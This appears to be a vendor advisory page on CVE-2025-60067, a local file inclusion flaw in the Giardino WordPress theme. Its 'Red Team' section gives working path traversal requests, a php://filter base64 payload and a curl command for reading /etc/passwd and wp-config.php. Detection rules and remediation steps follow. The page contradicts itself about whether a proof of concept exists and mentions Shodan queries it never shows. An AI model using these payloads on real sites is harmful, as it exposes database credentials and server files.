CVE-2025-60067
Executive Summary
CVE-2025-60067 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Axiomthemes Giardino WordPress theme, affecting versions up to and including 1.1.10. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, database configuration files (wp-config.php), or source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and potential for high confidentiality impact. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the Axiomthemes marketplace and potentially bundled with other products. Since it is a PHP application component, the supply chain risk includes:
- Compromised theme updates if the vendor's distribution channel is attacked.
- Dependency confusion if the theme relies on third-party libraries with known vulnerabilities.
- No known patch means users must rely on manual mitigation or removal of the theme.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – full file read possible.
- Integrity Impact: None (I:N) – no file modification.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can expose sensitive server files.
Deep Dive & Mechanics
The vulnerability exists in the Giardino theme's PHP code, likely in a function that dynamically includes template files or other resources based on user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE). The improper control of the filename allows path traversal sequences (e.g., ../../) to escape the intended directory and include arbitrary files.
Root Cause: The theme uses a construct similar to:
include($_GET['file'] . '.php');
or
require_once($template_path . '/' . $_REQUEST['template']);
without proper sanitization or validation of the input. This allows an attacker to supply a path like ../../../../etc/passwd%00 (null byte injection) or simply ../../../../etc/passwd if the extension is appended.
Attack Flow:
- Attacker identifies a vulnerable parameter (e.g.,
?file=,?template=,?page=). - Attacker sends a crafted request with path traversal sequences.
- The server includes the specified file, outputting its contents in the response.
- Attacker reads sensitive files (e.g.,
wp-config.phpfor database credentials).
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is hypothetical but typical for LFI vulnerabilities.
Vulnerable Code (example):
// In a theme template loader
$template = $_GET['template'];
include('templates/' . $template . '.php');
Patched Code (recommended):
// Whitelist allowed templates
$allowed_templates = ['home', 'single', 'page', 'archive'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
include('templates/' . $template . '.php');
} else {
// Default template
include('templates/home.php');
}
Additional hardening:
- Use
realpath()to resolve the path and ensure it stays within the allowed directory. - Disable
allow_url_includeinphp.inito prevent remote file inclusion. - Use a whitelist approach instead of blacklisting.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running WordPress with Giardino theme <= 1.1.10.
- A vulnerable parameter identified (e.g.,
?giardino_template=).
Exploitation Steps:
- Identify vulnerable endpoint: Scan for common parameters like
?file=,?template=,?page=,?include=. - Test for LFI: Send a request to read
/etc/passwd:GET /?giardino_template=../../../../etc/passwd HTTP/1.1 Host: target.com - Read sensitive files: Attempt to read
wp-config.php:
(Note: PHP files will be executed, not displayed. UseGET /?giardino_template=../../../../wp-config.php HTTP/1.1php://filterto read source code.) - Use PHP wrappers: If
allow_url_includeis off, usephp://filterto read source:GET /?giardino_template=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1 - Decode base64 output to get the file contents.
Example cURL command:
curl -v "http://target.com/?giardino_template=../../../../etc/passwd"
Blue Team (Defensive)
Detection:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f,..%252f). - Look for requests to non-existent template files or unusual parameters.
- Use WAF rules to block
../sequences in query strings.
Hunting:
- Search logs for
giardino_templateparameter usage. - Check for base64-encoded strings in responses (indicates
php://filterusage). - Correlate with file access logs for sensitive files like
/etc/passwdorwp-config.php.
Containment:
- Temporarily disable the Giardino theme and switch to a default WordPress theme.
- Implement a web application firewall (WAF) rule to block LFI attempts.
- Restrict file permissions on sensitive files (e.g.,
wp-config.phpshould be 640).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../or..%2fin query parameters. - Requests to
/?giardino_template=or similar parameters. - Responses containing base64-encoded strings (from
php://filter). - Outbound connections to attacker-controlled servers (if RFI is possible).
File System IOCs:
- Unauthorized access to
/etc/passwd,/etc/shadow,wp-config.php,.htaccess. - Presence of unexpected files in the web root (e.g., shells uploaded via LFI to RCE).
Log IOCs:
- Web server logs showing
404for non-existent templates but200for path traversal attempts. - PHP error logs showing
include()failures or warnings.
Detection Engineering
YARA Rule
rule CVE_2025_60067_LFI_Detection {
meta:
description = "Detects LFI attempts targeting Giardino theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60067"
strings:
$s1 = "giardino_template=" nocase
$s2 = "../" ascii
$s3 = "..%2f" ascii
$s4 = "php://filter" ascii
$s5 = "/etc/passwd" ascii
$s6 = "wp-config.php" ascii
condition:
any of ($s1, $s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2025-60067 Giardino LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts targeting the Giardino theme
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'giardino_template='
- '../'
- '..%2f'
- 'php://filter'
condition: selection
falsepositives:
- Legitimate use of similar parameters in other themes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-60067 Giardino LFI Attempt"; flow:to_server,established; content:"giardino_template="; http_uri; content:"../"; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Giardino theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
- Implement a WAF rule to block requests containing
../orphp://filterin query parameters. - Restrict file permissions on sensitive files (e.g.,
chmod 640 wp-config.php).
Long-term Fix:
- Vendor patch: Await an official update from Axiomthemes. If none is provided, consider switching to a different theme permanently.
- Code hardening: If you have access to the theme source, apply the patched code example above.
- Monitor for updates: Subscribe to CVE alerts and vendor announcements.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) with LFI protection enabled.
- Add the following to
.htaccessto block path traversal:RewriteEngine On RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f|php://filter) [NC] RewriteRule .* - [F,L]
Valters IT
Securing digital frontiers with precision and intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.